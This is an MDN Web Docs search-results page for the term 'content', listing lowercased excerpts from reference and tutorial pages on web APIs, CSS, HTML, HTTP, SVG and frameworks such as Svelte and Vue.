Using files from web applications - Web APIs
using the file api, which was added to the dom in html5, it's now possible for web
content to ask the user to select local files and then read the
contents of those files.
...exactly what part of your
content will accept drops may vary depending on the design of your application, but making an element receive drop events is easy: let dropbox; dropbox = document.getelementbyid("dropbox"); dropbox.addeventlistener("dragenter", dragenter, false); dropbox.addeventlistener("dragover", dragover, false); dropbox.addeventlistener("drop", drop, false); in this example, we're turning the element with the id...
... function handlefiles(files) { for (let i = 0; i < files.length; i++) { const file = files[i]; if (!file.type.startswith('image/')){ continue } const img = document.createelement("img"); img.classlist.add("obj"); img.file = file; preview.appendchild(img); // assuming that "preview" is the div output where the
content will be displayed.
...And 3 more matches
HTMLObjectElement - Web APIs
htmlobjectelement.align is a domstring representing an enumerated property indicating alignment of the element's
contents with respect to the surrounding context.
... htmlobjectelement.codetype is a domstring that reflects the codetype html attribute, specifying the
content type of the data.
... htmlobjectelement.
contentdocument read only returns a document representing the active document of the object element's nested browsing context, if any; otherwise null.
...And 3 more matches
MediaConfiguration - Web APIs
if the media is an audio file, the audio configuration must include a valid audio mime type as
contenttype, the number of channels, the bitrate, and the sample rate.
... video configurations mush include a valid video mime type as
contenttype, the bitrate, and framerate, along with the width and the height of the video file.
... a valid audio configuration includes:
contenttype: valid audio mime type.
...And 3 more matches
Capabilities, constraints, and settings - Web APIs
html
content <p>experiment with media constraints!
...cols=32 rows=8></textarea> </div> <div class="rightside"> <h3>actual audio settings:</h3> <textarea id="audiosettingstext" cols=32 rows=8 disabled></textarea> </div> </div> <div class="button" id="applybutton"> apply constraints </div> </div> <video id="video" autoplay></video> <div class="button" id="stopbutton"> stop video </div> <div id="log"> </div> css
content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 150px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } .wrapper { margin-bottom: 10px; width: 600px; } .trackrow { height: 20...
...0px; } .leftside { float: left; width: calc(calc(100%/2) - 10px); } .rightside { float: right; width: calc(calc(100%/2) - 10px); } textarea { padding: 8px; } h3 { margin-bottom: 3px; } #supportedconstraints { column-count: 2; -moz-column-count: 2; } #log { padding-top: 10px; } javascript
content now let's take a look at the javascript code that makes everything work.
...And 3 more matches
Window.open() - Web APIs
width or innerwidth specifies the width of the
content area, viewing area of the new secondary window in pixels.
... height or innerheight specifies the height of the
content area, viewing area of the new secondary window in pixels.
... noreferrer if this feature is set, the request to load the
content located at the specified url will be loaded with the request's referrer set to noreferrer; this prevents the request from sending the url of the page that initiated the request to the server where the request is sent.
...And 3 more matches
ARIA: textbox role - Accessibility
including the html
contenteditable attribute ensures the text node is editable.
... <!-- simple text input field --> <div id="txtboxlabel">enter your five-digit zipcode</div> <div role="textbox"
contenteditable="true" aria-placeholder="5-digit zipcode" aria-labelledby="txtboxlabel"></div> <!-- multi-line text area --> <div id="txtboxmultilinelabel">enter the tags for the article</div> <div role="textbox"
contenteditable="true" aria-multiline="true" aria-labelledby="txtboxmultilinelabel" aria-required="true"></div> semantic elements are more concise and require no javascript to support textbox features.
...if it also contains
content, this should be announced as with a regular textbox.
...And 3 more matches
ARIA - Accessibility
accessible rich internet applications (aria) is a set of attributes that define ways to make web
content and web applications (especially those developed with javascript) more accessible to people with disabilities.
...for example, aria enables accessible navigation landmarks in html4, javascript widgets, form hints and error messages, live
content updates, and more.
... tutorials introduction to aria a quick introduction to making dynamic
content accessible with aria.
...And 3 more matches
-ms-high-contrast - CSS: Cascading Style Sheets
high contrast mode is a specialized display mode that prioritizes making
content as legible as possible by dynamically replacing foreground and background colors with a user-specified theme.
... for web
content, theme colors are mapped to
content types.
...the available color keywords are: windowtext: controls the color of text
content.
...And 3 more matches
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
every box is composed of four parts (or areas), defined by their respective edges: the
content edge, padding edge, border edge, and margin edge.
... the
content area, bounded by the
content edge, contains the "real"
content of the element, such as text, an image, or a video player.
... its dimensions are the
content width (or
content-box width) and the
content height (or
content-box height).
...And 3 more matches
Basic Concepts of Multicol - CSS: Cascading Style Sheets
multiple-column layout, usually referred to as multicol, is a specification for laying out
content into a set of column boxes much like columns in a newspaper.
... key concepts and terminology multicol is unlike any of the other layout methods we have in css in that it fragments the
content, including all descendent elements, into columns.
... this happens in the same way that
content is fragmented into pages when we work with css paged media, for example by creating a print stylesheet.
...And 3 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
@if type-of($fg) == 'list' { $fg-boxflex: nth($fg, 1); } -webkit-box: $fg-boxflex; -moz-box: $fg-boxflex; -webkit-flex: $fg $fs $fb; -ms-flex: $fg $fs $fb; flex: $fg $fs $fb; } flexbox justify
content the justify-
content property aligns flex items along the main axis of the current line of the flex container.
... values: flex-start (default) | flex-end | center | space-between | space-around spec: https://drafts.csswg.org/css-flexbox/#justify-
content-property @mixin justify-
content($value: flex-start) { @if $value == flex-start { -webkit-box-pack: start; -moz-box-pack: start; -ms-flex-pack: start; } @else if $value == flex-end { -webkit-box-pack: end; -moz-box-pack: end; -ms-flex-pack: end; } @else if $value == space-between { -webkit-box-pack: justify; -moz-box-pack: justify; -ms-flex-pack: justif...
...y; } @else if $value == space-around { -ms-flex-pack: distribute; } @else { -webkit-box-pack: $value; -moz-box-pack: $value; -ms-flex-pack: $value; } -webkit-justify-
content: $value; justify-
content: $value; } // shorter version: @mixin flex-just($args...) { @include justify-
content($args...); } flexbox align items flex items can be aligned in the cross axis of the current line of the flex container, similar to justify-
content but in the perpendicular direction.
...And 3 more matches
Basic Shapes - CSS: Cascading Style Sheets
however the inset() types enables the definition of offsets, thus pulling the
content in over the shape.
...so, the above rules could also be described as: .shape { float: left; shape-outside: inset(20px 10px round 10px); } in the example below we have an inset() shape used to pull
content over the floated element.
...in the example below change the reference box from margin-box to border-box, padding-box or
content-box to see how the reference box used as the starting point before offsets are calculated changes.
...And 3 more matches
box-align - CSS: Cascading Style Sheets
the box-align css property specifies how an element aligns its
contents across its layout in a perpendicular direction.
... values start the box aligns
contents at the start, leaving any extra space at the end.
... center the box aligns
contents in the center, dividing any extra space equally between the start and the end.
...And 3 more matches
clip-path - CSS: Cascading Style Sheets
syntax /* keyword values */ clip-path: none; /* <clip-source> values */ clip-path: url(resources.svg#c1); /* <geometry-box> values */ clip-path: margin-box; clip-path: border-box; clip-path: padding-box; clip-path:
content-box; clip-path: fill-box; clip-path: stroke-box; clip-path: view-box; /* <basic-shape> values */ clip-path: inset(100px 50px); clip-path: circle(50px at 0 100px); clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%); clip-path: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* box and shape values combined */ clip-path: padding-box circ...
...
content-box uses the
content box as the reference box.
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<fill-rule> = nonzero | evenodd<box> = border-box | padding-box |
content-box examples comparison of html and svg <svg class="defs"> <defs> <clippath id="mypath" clippathunits="objectboundingbox"> <path d="m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z" /> </clippath> </defs> </svg> <div class="grid"> <div class="col"> <div class="note">clip-path: none</div> <div class="row"> <div cl...
...And 3 more matches
flex-basis - CSS: Cascading Style Sheets
it sets the size of the
content box unless otherwise set with box-sizing.
... syntax /* specify <'width'> */ flex-basis: 10em; flex-basis: 3px; flex-basis: auto; /* intrinsic sizing keywords */ flex-basis: fill; flex-basis: max-
content; flex-basis: min-
content; flex-basis: fit-
content; /* automatically size based on the flex item’s
content */ flex-basis:
content; /* global values */ flex-basis: inherit; flex-basis: initial; flex-basis: unset; the flex-basis property is specified as either the keyword
content or a <'width'>.
...
content indicates automatic sizing, based on the flex item’s
content.
...And 3 more matches
text-align - CSS: Cascading Style Sheets
left the inline
contents are aligned to the left edge of the line box.
... right the inline
contents are aligned to the right edge of the line box.
... center the inline
contents are centered within the line box.
...And 3 more matches
<data> - HTML: Hypertext Markup Language
the html <data> element links a given piece of
content with a machine-readable translation.
... if the
content is time- or date-related, the <time> element must be used.
...
content categories flow
content, phrasing
content, palpable
content.
...And 3 more matches
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
the html <figure> (figure with optional caption) element represents self-contained
content, potentially with an optional caption, which is specified using the (<figcaption>) element.
... the figure, its caption, and its
contents are referenced as a single unit.
...
content categories flow
content, sectioning root, palpable
content.
...And 3 more matches
<input type="date"> - HTML: Hypertext Markup Language
we had to put the icon on a <span> next to the input, not on the input itself, because in chrome at least the input's generated
content is placed inside the form control, and can't be styled or shown effectively.
... label { display: flex; align-items: center; } span::after { padding-left: 5px; } input:invalid + span::after {
content: '✖'; } input:valid+span::after {
content: '✓'; } important: client-side form validation is no substitute for validating on the server.
... span { position: relative; } span::after { right: -18px; position: absolute; } input:invalid + span::after {
content: '✖'; } input:valid + span::after {
content: '✓'; } at the moment, the best way to deal with dates in forms in a cross-browser way is to have the user enter the day, month, and year in separate controls, or to use a javascript library such as jquery date picker.
...And 3 more matches
<input type="number"> - HTML: Hypertext Markup Language
if the control's
content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
...it is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your
content.
...note how the placeholder disappears and reappears as you manipulate the
contents of the edit field.
...And 3 more matches
<ins> - HTML: Hypertext Markup Language
content categories phrasing
content or flow
content.
... permitted
content transparent.
... permitted parents any element that accepts phrasing
content.
...And 3 more matches
<object> - HTML: Hypertext Markup Language
content categories flow
content; phrasing
content; embedded
content, palpable
content; if the element has a usemap attribute, interactive
content; listed, submittable form-associated element.
... permitted
content zero or more <param> elements, then transparent.
... permitted parents any element that accepts embedded
content.
...And 3 more matches
<option>: The HTML Option element - HTML: Hypertext Markup Language
content categories none.
... permitted
content text, possibly with escaped characters (like é).
...the end tag is optional if this element is immediately followed by another <option> element or an <optgroup>, or if the parent element has no more
content.
...And 3 more matches
<s> - HTML: Hypertext Markup Language
content categories phrasing
content or flow
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
...And 3 more matches
<title>: The Document Title element - HTML: Hypertext Markup Language
<title>grandma's heavy metal festival journal</title>
content categories metadata
content.
... permitted
content text that is not inter-element whitespace.
... page titles and seo the
contents of a page title can have significant implications for search engine optimization (seo).
...And 3 more matches
Evolution of HTTP - HTTP
with the help of the new http headers, the ability to transmit other documents than plain html files has been added (thanks to the
content-type header).
... at this point, a typical request and response looked like this: get /mypage.html http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:31 gmt server: cern/3.0 libwww/2.17
content-type: text/html <html> a page with an image <img src="/myimage.gif"> </html> followed by a second connection and request to fetch the image (followed by a response to that request): get /myimage.gif http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:32 gmt server: cern/3.0 libwww/2.17
content-type: text/gif (image
content) these novelties have not been introduced as concerted effort, but as a try-and-see approach over the 1991-1995 period: a server and a browser added one feature and it saw if it got traction.
...
content negotiation, including language, encoding, or type, has been introduced, and allows a client and a server to agree on the most adequate
content to exchange.
...And 3 more matches
HTTP caching - HTTP
it likewise improves offline browsing of cached
content.
... incomplete results: a 206 (partial
content) response.
... a cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of
content negotiation.
...And 3 more matches
HTTP Messages - HTTP
an optional body containing data associated with the request (like
content of an html form), or the document associated with a response.
... entity headers, like
content-length which apply to the body of the request.
... bodies can be broadly divided into two categories: single-resource bodies, consisting of one single file, defined by the two headers:
content-type and
content-length.
...And 3 more matches
dominant-baseline - SVG: Scalable Vector Graphics
the dominant-baseline attribute specifies the dominant baseline, which is the baseline used to align the box’s text and inline-level
contents.
... as a presentation attribute, it can be applied to any element but it only has effect on the text
content elements, including: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } text { font: bold 14px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 200 120" xmlns="http://www.w3.org/2000/svg"> <path d="m20,20 l180,20 m20,50 l180,50 m20,80 l180,80" stroke="grey" /> <text dominant-baseline="baseline" x="30" y="20">baseline</text> <text...
... if this property occurs on a <tspan>, <tref>, <altglyph>, or <textpath> element, then the dominant-baseline and the baseline-table components remain the same as those of the parent text
content element.
...And 3 more matches
target - SVG: Scalable Vector Graphics
"0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> </a> </svg> usage notes value _self | _parent | _top | _blank | <xml-name> default value _self animatable yes _replace the current svg image is replaced by the linked
content in the same rectangular area in the same frame as the current svg image.
... _self the current svg image is replaced by the linked
content in the same browsing context as the current svg image.
... _parent the immediate parent browsing context of the svg image is replaced by the linked
content, if it exists and can be securely accessed from this document.
...And 3 more matches
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
general change notes length attribute and indexed property for list interfaces implementation status unknown <script> element in
content model of all elements implementation status unknown initialize(), appenditem(), replaceitem(), and insertitembefore() on list objects making a copy of any list item being inserted that is already in another list implementation status unknown crossorigin attribute for <image> and <script> elements not implemented yet (at least for <image>; bug 1240357) rendering m...
...<symbol> implementation status unknown made <use> element shadow trees consistent with shadow dom spec implementation status unknown role mapping of <a> element depending on whether it is a valid link implementation status unknown aria state and property attributes animatable implementation status unknown styling change notes
contentstyletype attribute removed implementation status unknown linkstyle on svgstyleelement implemented (bug 1239128 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43)) inner <svg>s and <foreignobjects>s not overflow: hidden; in ua style sheet implementation status unknown overflow: hidden; on <hatch> in ua style sheet implementation status unknown 0 0 as...
...igin except root <svg> and <svg> children of <foreign> implementation status unknown use of white-space instead of deprecated xml:space attribute in ua style sheet implementation status unknown @font-face, ::first-letter and ::first-line on <text> implementation status unknown svg and html style sheets in html document with inline svg applying to whole document
content implementation status unknown presentation attributes on any svg namespaced element implementation status unknown display behavior of <style> defined via ua style sheet implementation status unknown !important user agent style rules controlling never-rendered elements implementation status unknown :focus and ::selection styles implementation stat...
...And 3 more matches
2D maze game with device orientation - Game development
let’s set it up: our starting point is the index.html file with the following
content.
...) { var game = new phaser.game(320, 480, phaser.canvas, 'game'); game.state.add('boot', ball.boot); game.state.add('preloader', ball.preloader); game.state.add('mainmenu', ball.mainmenu); game.state.add('howto', ball.howto); game.state.add('game', ball.game); game.state.start('boot'); })(); </script> </body> </html> so far we have a simple html website with some basic
content in the <head> section: charset, title, css styling and the inclusion of the javascript files.
...let's quickly go though the
content of those states.
...And 2 more matches
Prefetch - MDN Web Docs Glossary: Definitions of Web-related terms
prefetching is when
content is downloaded in the background, this is based on the assumption that the
content will likely be requested, enabling the
content to load instantly if and when the user requests it.
... the
content is downloaded and cached for anticipated future use without the user making an explicit request for it.
... <link rel="dns-prefetch" href="https://example.com/"> link prefetching link prefetching is a performance optimization technique that works by assuming which links the user is likely to click, then downloading the
content of those links.
...And 2 more matches
SEO - MDN Web Docs Glossary: Definitions of Web-related terms
search engines crawl the web, following links from page to page, and index the
content found.
... when you search, the search engine displays the indexed
content.
... seo methods fall into three broad classes: technical tag the
content using semantic html.
...And 2 more matches
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
web
content accessibility guidelines (wcag) are a recommendation published by the web accessibility initiative group at the w3c.
... they outline a set of guidelines for making
content accessible primarily for people with disabilities but also for limited-resource devices such as mobile phones.
... wcag uses three levels of conformance: priority 1: web developers must satisfy these requirements, otherwise it will be impossible for one or more groups to access the web
content.
...And 2 more matches
Advanced styling effects - Learn web development
users of older ie versions might just have to cope with no shadows, so just test your designs to make sure your
content is legible without them.
... the really nice thing about filters however, is that they work on the exact shapes of the
content inside the box, not just the box itself as one big chunk, so it is worth knowing the difference.
... mix-blend-mode, which blends together the element it is set on with elements it is overlapping — both background and
content.
...And 2 more matches
Supporting older browsers - Learn web development
some of your users might be hearing your
content read out to them by a screen reader, or have zoomed in on the page to be able to read it.
... supporting everyone means serving a version of your
content that is designed defensively, so that it will look great on modern browsers, but will still be usable at a basic level for users of older browsers.
... a basic level of support comes from structuring your
content well so that the normal flow of your page makes sense.
...And 2 more matches
How can we design for all types of users? - Learn web development
if you want an elastic/responsive website, and you don't know what the browser's default width is, you can use the max-width property to allow up to 70 characters per line and no more: div.container { max-width:70em; } alternative
content for images, audio, and video websites often include stuff besides plain text.
...if the image cannot be described succinctly, you will have to either provide the same
content in another form in the same page (e.g., complement a pie chart with a table providing the same data), or resort to a longdesc attribute.
... this attribute's value is a url pointing towards a resource explicitly describing in detail the image's
content.
...And 2 more matches
Getting started with the Web - Learn web development
we outline a simple method you can follow to plan out your site's
content and design.
... dealing with files a website consists of many files: text
content, code, stylesheets, media
content, and so on.
... html basics hypertext markup language (html) is the code that you use to structure your web
content and give it meaning and purpose.
...And 2 more matches
Advanced text formatting - Learn web development
this is usually a feeling, thought, or piece of additional background information.</dd> <dd>in writing, a section of
content that is related to the current topic, but doesn't fit directly into the main flow of
content so is presented nearby (often in a box off to the side.)</dd> </dl> active learning: marking up a set of definitions it's time to try your hand at description lists; add elements to the raw text in the input field so that it appears as a description list in the output field.
... blockquotes if a section of block level
content (be it a paragraph, multiple paragraphs, a list, etc.) is quoted from somewhere else, you should wrap it inside a <blockquote> element to signify this, and include a url pointing to the source of the quote inside a cite attribute.
...for example, the below bit of markup contains a quotation from the mdn <q> page: <p>the quote element — <code><q></code> — is <q cite="/docs/web/html/element/q">intended for short quotations that don't require paragraph breaks.</q></p> browser default styling will render this as normal text put in quotes to indicate a quotation, like so: citations the
content of the cite attribute sounds useful, but unfortunately browsers, screenreaders, etc.
...And 2 more matches
HTML table basics - Learn web development
one row to contain the header, one row to contain the
content columns, one row to contain the footer, etc.
...the main reasons are as follows: layout tables reduce accessibility for visually impaired users: screenreaders, used by blind people, interpret the tags that exist in an html page and read out the
contents to the user.
...tables on the other hand are sized according to their
content by default, so extra measures are needed to get table layout styling to effectively work across a variety of devices.
...And 2 more matches
Making asynchronous programming easier with async and await - Learn web development
converting this to async/await (see live demo and source code), this now looks like so: async function fetchanddecode(url, type) { let response = await fetch(url); let
content; if (!response.ok) { throw new error(`http error!
... status: ${response.status}`); } else { if(type === 'blob') {
content = await response.blob(); } else if(type === 'text') {
content = await response.text(); } return
content; } } async function display
content() { let coffee = fetchanddecode('coffee.jpg', 'blob'); let tea = fetchanddecode('tea.jpg', 'blob'); let description = fetchanddecode('description.txt', 'text'); let values = await promise.all([coffee, tea, description]); let objecturl1 = url.createobjecturl(values[0]); let objecturl2 = url.createobjecturl(values[1]); let desctext = values[2]; let image1 = document.createelement('img'); let image2 = document.createelement('img'); image1.src = objecturl1; image2.src = objecturl2; document.body.appendchild(image1); document.body.ap...
...pendchild(image2); let para = document.createelement('p'); para.text
content = desctext; document.body.appendchild(para); } display
content() .catch((e) => console.log(e) ); you'll see that the fetchanddecode() function has been converted easily into an async function with just a few changes.
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
in the first example, we'll use the fetch() method to fetch an image from the web, the blob() method to transform the fetch response's raw body
contents into a blob object, and then display that blob inside an <img> element.
...imagine that we’re fetching information to dynamically populate a ui feature on our page with
content.
... in many cases, it makes sense to receive all the data and only then show the complete
content, rather than displaying partial information.
...And 2 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
it then runs the function once per second using setinterval(), creating the effect of a digital clock that updates once per second (see this live, and also see the source): function displaytime() { let date = new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').text
content = time; } const createclock = setinterval(displaytime, 1000); just like settimeout(), setinterval() returns an identifying value you can use later when you need to clear the interval.
... html { background-color: white; height: 100%; } body { height: inherit; background-color: red; margin: 0; display: flex; justify-
content: center; align-items: center; } div { display: inline-block; font-size: 10rem; } insert a <script> element just above the closing </body> tag.
...add the following at the bottom of your code: function reset() { btn.style.display = 'block'; result.text
content = ''; result.style.display = 'none'; } okay, enough preparation!
...And 2 more matches
Build your own function - Learn web development
finally, add the following code inside the curly braces: const html = document.queryselector('html'); const panel = document.createelement('div'); panel.setattribute('class', 'msgbox'); html.appendchild(panel); const msg = document.createelement('p'); msg.text
content = 'this is a message box'; panel.appendchild(msg); const closebtn = document.createelement('button'); closebtn.text
content = 'x'; panel.appendchild(closebtn); closebtn.onclick = function() { panel.parentnode.removechild(panel); } this is quite a lot of code to go through, so we'll walk you through it bit by bit.
...this is to make it easier to style the element — if you look at the css on the page, you'll see that we are using a .msgbox class selector to style the message box and its
contents.
...we use their node.text
content property — which represents the text
content of an element — to insert a message inside the paragraph, and an 'x' inside the button.
...And 2 more matches
Third-party APIs - Learn web development
onto the end of the first method call we chain .bindpopup('this is manchester!'), which defines
content to display when the marker is clicked.
... function displayresults(json) { while (section.firstchild) { section.removechild(section.firstchild); } const articles = json.response.docs; if(articles.length === 10) { nav.style.display = 'block'; } else { nav.style.display = 'none'; } if(articles.length === 0) { const para = document.createelement('p'); para.text
content = 'no results returned.' section.appendchild(para); } else { for(var i = 0; i < articles.length; i++) { const article = document.createelement('article'); const heading = document.createelement('h2'); const link = document.createelement('a'); const img = document.createelement('img'); const para1 = document.createelement('p'); const para2 = document.c...
...reateelement('p'); const clearfix = document.createelement('div'); let current = articles[i]; console.log(current); link.href = current.web_url; link.text
content = current.headline.main; para1.text
content = current.snippet; para2.text
content = 'keywords: '; for(let j = 0; j < current.keywords.length; j++) { const span = document.createelement('span'); span.text
content += current.keywords[j].value + ' '; para2.appendchild(span); } if(current.multimedia.length > 0) { img.src = 'http://www.nytimes.com/' + current.multimedia[0].url; img.alt = current.headline.main; } clearfix.setattribute('class','clearfix'); article.appendchild(heading); heading.appendchild(link); ar...
...And 2 more matches
Working with JSON - Learn web development
images, text, json, even html snippets), meaning that we can update small sections of
content without having to reload the entire page.
...first of all, add the following function definition below the previous code: function populateheader(jsonobj) { const myh1 = document.createelement('h1'); myh1.text
content = jsonobj['squadname']; header.appendchild(myh1); const mypara = document.createelement('p'); mypara.text
content = 'hometown: ' + jsonobj['hometown'] + ' // formed: ' + jsonobj['formed']; header.appendchild(mypara); } we named the parameter jsonobj, to remind ourselves that this javascript object originated from json.
... here we first create an <h1> element with createelement(), set its text
content to equal the squadname property of the object, then append it to the header using appendchild().
...And 2 more matches
Multimedia: Images - Learn web development
for the average website, 51% of its bandwidth comes from imagery, followed by video at 25%, so it's safe to say it's important to address and optimize your multi-media
content.
...however, images are mostly used for
content, so it's important that a visitor can see them as soon as possible for a good experience.
... the first thing to check is that your
content images use <img> elements and your background images are defined in css with background-image — images referenced in <img> elements are assigned a higher loading priority than background images.
...And 2 more matches
What is web performance? - Learn web development
note: web performance includes both objective measurements like time to load, frames per second, and time to interactive, and subjective experiences of how long it felt like it took the
content to load.
... how
content is rendered to effectively understand web performance, the issues behind it, and the major topic areas we mentioned above, you really should understand some specifics about how browsers work.
...the download of additional assets linked to from the index file is generally sequential, based on source order, but this can be manipulated and should definitely be optimized, realizing that some resources block additional downloads until their
content is parsed and executed.
...And 2 more matches
Ember app structure and componentization - Learn web development
this already exists, and its
contents currently look like so: {{!-- the following component displays ember's default welcome message.
...to start with, delete the
contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out.
...update the application.hbs file again so its
content looks like this: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > <section class="main"> <input id="mark-all-complete" class="toggle-all" type="checkbox"> <label for="mark-all-complete">mark all as complete</label> <ul class="todo-list"> <li> <d...
...And 2 more matches
Componentizing our Svelte app - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/04-componentizing-our-app or directly download the folder's
content: npx degit opensas/mdn-svelte-tutorial/04-componentizing-our-app remember to run npm install && npm run dev to start your app in development mode.
...add the following
content into the file: <script> export let filter = 'all' </script> <div class="filters btn-group stack-exception"> <button class="btn toggle-btn" class:btn__primary={filter === 'all'} aria-pressed={filter === 'all'} on:click={()=> filter = 'all'} > <span class="visually-hidden">show</span> <span>all</span> <span class="visually-hidden">tasks</span> </button> <button class="btn to...
... put the following
contents inside this file: <script> export let todo </script> <div class="stack-small"> <div class="c-cb"> <input type="checkbox" id="todo-{todo.id}" on:click={() => todo.completed = !todo.completed} checked={todo.completed} /> <label for="todo-{todo.id}" class="todo-label">{todo.name}</label> </div> <div class="btn-group"> <button type="button" class="btn"> ...
...And 2 more matches
Getting started with Svelte - Learn web development
to create your starter app template, run the following terminal commands: npx degit sveltejs/template moz-todo-svelte cd moz-todo-svelte npm install npm run dev note: degit doesn't do any kind of magic — it just lets you download and unzip the latest version of a git repo's
contents.
...e-lock.json ├── rollup.config.js ├── .gitignore ├── node_modules ├── public │ ├── favicon.ico │ ├── index.html │ ├── global.css │ └── build │ ├── bundle.css │ ├── bundle.css.map │ ├── bundle.js │ └── bundle.js.map └── src ├── app.svelte └── main.js the
contents are as follows: package.json and package-lock.json: contains information about the project that node.js/npm uses to keep it organized.
... finally the file public/index.html includes the generated bundle.css and bundle.js files: <!doctype html> <html lang="en"> <head> <meta charset='utf-8'> <meta name='viewport'
content='width=device-width,initial-scale=1'> <title>svelte app</title> <link rel='icon' type='image/png' href='/favicon.png'> <link rel='stylesheet' href='/global.css'> <link rel='stylesheet' href='/build/bundle.css'> <script defer src='/build/bundle.js'></script> </head> <body> </body> </html> the minified version of bundle.js weighs a little more than 3kb, which includes the "svelte run...
...And 2 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/03-adding-dynamic-behavior or directly download the folder's
content: npx degit opensas/mdn-svelte-tutorial/03-adding-dynamic-behavior remember to run npm install && npm run dev to start your app in development mode.
... create a <script> section at the top of src/components/todos.svelte and give it some
content, as follows: <script> let todos = [ { id: 1, name: 'create a svelte starter app', completed: true }, { id: 2, name: 'create your first component', completed: true }, { id: 3, name: 'complete the rest of the tutorial', completed: false } ] let totaltodos = todos.length let completedtodos = todos.filter(todo => todo.completed).length </script> now let's do something with ...
...we could do something like this: <input value={newtodoname} on:keydown={(e) => newtodoname = e.target.value} /> whenever the value of the variable newtodoname changes, it will be reflected in the value attribute of the input, and whenever a key is pressed in the input, we will update the
contents of the variable newtodoname.
...And 2 more matches
Creating our first Vue component - Learn web development
your file should now look like this: <template> </template> <script> export default {}; </script> we can now begin to add actual
content to our todoitem.
... your <script>
contents should now look like this: import todoitem from './components/todoitem.vue'; export default { name: 'app', components: { todoitem } }; this is the same way that the helloworld component was registered by the vue cli earlier.
... your app.vue <template>
contents should now look something like this: <div id="app"> <h1>to-do list</h1> <ul> <li> <to-do-item></to-do-item> </li> </ul> </div> if you check your rendered app again, you should now see your rendered todoitem, consisting of a checkbox and a label.
...And 2 more matches
Introduction to automated testing - Learn web development
next, you'll need some sample html, css and javascript
content to test your system on — make copies of our sample index.html, main.js, and style.css files in a subfolder with the name src inside your project folder.
... you can try your own test
content if you like, but bear in mind that such tools won't work on internal js/css — you need external files.
...give it the following
contents: const saucelabs = require('saucelabs'); let myaccount = new saucelabs({ username: "your-sauce-username", password: "your-sauce-api-key" }); myaccount.getaccountdetails(function (err, res) { console.log(res); myaccount.getservicestatus(function (err, res) { // status of the sauce labs services console.log(res); myaccount.getjobs(function (err, jobs) { // get a list ...
...And 2 more matches
Handling common HTML and CSS problems - Learn web development
in the worst cases, javascript is used to generate the entire web page
content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive).
...responsive design problems are also common — a site that looks good in a desktop browser might provide a terrible experience on a mobile device, because the
content is too small to read, or perhaps the site is slow because of expensive animations.
...you can add fallback
content in between the opening and closing tags, and non-supporting browsers will effectively ignore the outer element and run the nested
content.
...And 2 more matches
Setting up your own test automation environment - Learn web development
create a new file inside your project directory called google_test.js: give it the following
contents, then save it: const webdriver = require('selenium-webdriver'), by = webdriver.by, until = webdriver.until; const driver = new webdriver.builder() .forbrowser('firefox') .build(); driver.get('http://www.google.com'); driver.findelement(by.name('q')).sendkeys('webdriver'); driver.sleep(1000).then(function() { driver.findelement(by.name('q')).sendkeys(webdriver.key.tab); })...
... give it the following
contents, then save it: const webdriver = require('selenium-webdriver'), by = webdriver.by, until = webdriver.until; let driver_fx = new webdriver.builder() .forbrowser('firefox') .build(); let driver_chr = new webdriver.builder() .forbrowser('chrome') .build(); searchtest(driver_fx); searchtest(driver_chr); function searchtest(driver) { driver.get('http://www.google.com')...
... let's write an example: inside your project directory, create a new file called lambdatest_google_test.js give it the following
contents: const webdriver = require('selenium-webdriver'); by = webdriver.by, until = webdriver.until; // username: username can be found at automation dashboard const username = '{username}'; // accesskey: accesskey can be generated from automation dashboard or profile section const key = '{accesskey}'; // gridurl: gridurl can be found at automation dashboard const grid_host = 'hub.lambdat...
...And 2 more matches
Learn web development
the
content in the learning area is being added to regularly.
... html — structuring the web html is the language that we use to structure the different parts of our
content and define what their meaning or purpose is.
... css — styling the web css is the language that we can use to style and layout our web
content, as well as adding behavior like animation.
...And 2 more matches
Mozilla accessibility architecture
